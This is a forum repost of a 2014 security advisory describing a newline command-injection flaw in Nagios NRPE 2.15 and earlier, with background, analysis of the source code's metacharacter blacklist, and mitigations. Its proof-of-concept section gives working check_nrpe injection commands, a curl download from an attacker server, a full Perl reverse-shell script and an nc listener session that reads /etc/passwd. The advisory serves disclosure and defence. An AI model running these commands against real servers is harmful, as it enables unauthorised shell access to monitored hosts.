sensi Posted April 19, 2014 Report Posted April 19, 2014 =============================================- Release date: 17.04.2014- Discovered by: Dawid Golunski- Severity: High=============================================I. VULNERABILITY-------------------------NRPE - Nagios Remote Plugin Executor <= 2.15 Remote Command ExecutionII. BACKGROUND-------------------------Nagios is an open source computer system monitoring, network monitoring andinfrastructure monitoring software application. Nagios offers monitoring andalerting services for servers, switches, applications, and services.It alerts the users when things go wrong and alerts them a second time whenthe problem has been resolved.The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you toexecute Nagios plugins on remote Linux/Unix machines.The main reason for doing this is to allow Nagios to monitor "local" resources(like CPU load, memory usage, etc.) on remote machines. Since these publicresources are not usually exposed to external machines, an agent like NRPE mustbe installed on the remote Linux/Unix machines.III. INTRODUCTION-------------------------Nagios Remote Plugin Executor (NRPE) contains a vulnerability that couldallow an attacker to remotely inject and execute arbitrary code on the hostunder NRPE account (typically 'nagios').The vulnerability is due to NRPE not properly sanitizing user input beforepassing it to a command shell as a part of a configured command.In order for an attacker to take advantage of the host NRPE must be compiledand configured with command arguments.No authentication is required to exploit this vulnerability if the NRPE porthas not been protected with a firewall.IV. DESCRIPTION-------------------------NRPE expects definitions of commands in nrpe.cfg config file. Some of theexamples given in the config with hardcoded arguments are:command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1when command arguments are enabled then user is also allowed to definecommands with variables like:command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$This is often suggested for convenience in various nagios/nrpe setup tutorialson the web.To get a result from a defined command in NRPE daemon the following nrpe clientcan be used with -a option that passes arguments:# /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a 4 4USERS OK - 4 users currently logged in |users=4;4;4;0in case check_users command was defined with arguments as shown aboveNRPE would execute:/usr/local/nagios/libexec/check_users -w 4 -c 4on the local system.As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function forcommand execution:/* executes a system command via popen(), but protects against timeouts */int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){----cut---- /* run the command */ fp=popen(command,"r");using popen() results in the command being executed with the help of a command shell.Before this function is reached however NRPE takes several measures to preventmalicious command injection to the shell. That includes filtration based on a blacklist:#define NASTY_METACHARS "|`&><'\"\\[]{};"/* make sure request doesn't contain nasties */if(contains_nasty_metachars(pkt->buffer)==TRUE){ syslog(LOG_ERR,"Error: Request contained illegal metachars!");that prevents bash special characters like semicolon, pipe etc.The code is also making sure that arguments do not contain bash command substitutioni.e. $(ps aux)if(strstr(macro_argv[x],"$(")) { syslog(LOG_ERR,"Error: Request contained a bash command substitution!"); return ERROR;Despite these checks the code is vulnerable to command injection as bash shell allowsfor multiple command execution if commands are separated by a new line.None of the checks examines the arguments for an occurrence of a new line character: 0x0AV. PROOF OF CONCEPT-------------------------To execute an arbitrary command an attacker could simply add a new line character aftera parameter and follow it with his own command.To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:# /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4which make NRPE daemon run the following series of commands:/usr/local/nagios/libexec/check_users -w <new_line>touch /tmp/vulntest# -c 4and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to commentout the the rest of the arguments.An attacker gets a limited set of commands as most of the metacharacters are prohibited by theblacklist. So for example it's difficult to create new files in the system without using > symbol etc.An attacker could however download a snippet of perl/python etc. code from the web by using wget orcurl command and get a reverse shell. This would allow unrestricted access to the command line:---------[revshell.pl on attackers-server]---------#!/usr/bin/perluse Socket;#attackers ip to connect back to$i="10.10.10.40";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");}--------------------------------------------------/usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "[attacker@10.10.10.40 ]# nc -v -l 8080Connection from 10.10.10.5 port 8080 [tcp/ddi-tcp-1] acceptedsh-4.1$ iduid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)sh-4.1$sh-4.1$ cat /etc/passwd | head -n 4 ; pwdroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologin/sh-4.1$ ls -l /tmp/tmp_revshell-rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshellsh-4.1$ rm -f /tmp/tmp_revshellVI. BUSINESS IMPACT-------------------------An attacker could exploit the vulnerability to gain access to the systemin the context of a nagios user this could lead to further compromiseof the server.VII. SYSTEMS AFFECTED-------------------------Current version of NRPE 2.15 and older are vulnerable.VIII. SOLUTION-------------------------Disable command arguments if possible.Protect access to NRPE port and only allow access from a trustednagios server.Install updated version of NRPE when it becomes available.IX. REFERENCES-------------------------http://www.nagios.orghttp://sourceforge.net/projects/nagios/files/nrpe-2.x/http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/detailshttp://legalhackers.com/advisories/nagios-nrpe.txtX. CREDITS-------------------------The vulnerability has been discovered by Dawid Golunskidawid (at) legalhackers (dot) comlegalhackers.comXI. REVISION HISTORY-------------------------April 17th, 2014: Advisory createdXII. LEGAL NOTICES-------------------------The information contained within this advisory is supplied "as-is" withno warranties or guarantees of fitness of use or otherwise. I accept noresponsibility for any damage caused by the use or misuse of this information.source Quote
